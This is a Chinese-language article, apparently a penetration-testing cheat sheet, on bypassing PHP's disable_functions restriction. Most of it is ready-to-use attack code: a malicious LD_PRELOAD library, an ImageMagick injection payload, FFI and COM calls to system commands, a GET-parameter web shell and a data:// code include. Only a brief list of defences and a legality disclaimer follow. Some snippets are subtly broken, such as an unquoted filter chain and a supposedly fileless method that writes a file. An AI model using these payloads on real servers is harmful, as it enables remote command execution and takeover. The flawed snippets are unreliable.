常见 Bypass Disable Functions 的方法总结
字数 1164 2025-08-09 17:09:35
Bypass Disable Functions 方法总结
1. 基本概念
Disable Functions 是 PHP 的安全配置选项,用于禁用某些危险函数以防止系统被攻击者利用。常见的被禁用函数包括 system(), exec(), passthru(), shell_exec(), popen(), proc_open() 等。
2. 常见绕过方法
2.1 LD_PRELOAD 绕过
原理:利用环境变量 LD_PRELOAD 在程序运行前加载自定义的共享库
步骤:
- 编写恶意共享库
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void _init() {
unsetenv("LD_PRELOAD");
system("要执行的命令");
}
- 编译为共享库
gcc -shared -fPIC -o evil.so evil.c
- 使用 PHP 的
mail()或error_log()函数触发
putenv("LD_PRELOAD=/path/to/evil.so");
mail("","","","");
2.2 ImageMagick 漏洞利用
适用条件:服务器安装了存在漏洞的 ImageMagick 版本
利用方式:
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|command")'
pop graphic-context
EOF;
file_put_contents("exploit.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('exploit.mvg');
2.3 PHP-FPM 绕过
原理:通过修改 PHP-FPM 的 FASTCGI 协议数据包执行命令
步骤:
- 构造恶意 FastCGI 请求
- 发送到 PHP-FPM 监听端口(通常是 9000)
2.4 FFI 扩展利用
适用条件:PHP 7.4+ 且启用了 FFI 扩展
利用代码:
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("要执行的命令");
2.5 COM 组件利用 (Windows)
适用条件:Windows 服务器且启用了 COM 扩展
利用代码:
$com = new COM("WScript.Shell");
$exec = $com->exec("cmd.exe /c 命令");
2.6 反序列化利用
原理:利用存在漏洞的 PHP 类进行反序列化攻击
步骤:
- 构造恶意序列化数据
- 触发反序列化操作
2.7 其他函数替代
方法:使用未被禁用的函数执行命令
pcntl_exec()dl()+ 自定义扩展imap_open()(如果安装)mb_send_mail()gnupg_init()
2.8 文件操作函数利用
方法:通过文件操作间接执行命令
file_put_contents('/tmp/test.sh', '命令');
chmod('/tmp/test.sh', 0777);
include('/tmp/test.sh');
2.9 PHP 扩展漏洞利用
原理:利用特定 PHP 扩展中的漏洞执行代码
常见漏洞扩展:
- imagick
- gd
- xml
- json
3. 防御措施
- 禁用不必要的函数和扩展
- 使用 open_basedir 限制文件访问范围
- 定期更新 PHP 和扩展版本
- 配置正确的权限和所有者
- 监控系统日志和异常行为
- 使用安全模块如 Suhosin
4. 检测方法
- 查看
phpinfo()中的 disable_functions 列表 - 尝试执行
echo ini_get("disable_functions"); - 使用
function_exists()检测特定函数是否可用
5. 高级技巧
5.1 无文件写入执行
$code = '<?php system($_GET["cmd"]); ?>';
$filter = convert.iconv.utf-8.utf-7|convert.base64-encode|convert.iconv.utf-8.utf-7;
file_put_contents('php://filter/'.$filter.'/resource=shell.php', $code);
5.2 利用环境变量
putenv("EVIL=;命令");
mail('','','','');
5.3 通过 PHP Stream Wrapper
include('data://text/plain,<?php system("id"); ?>');
以上方法需要根据目标环境的具体配置选择使用,实际渗透测试中应遵守法律法规并获得授权。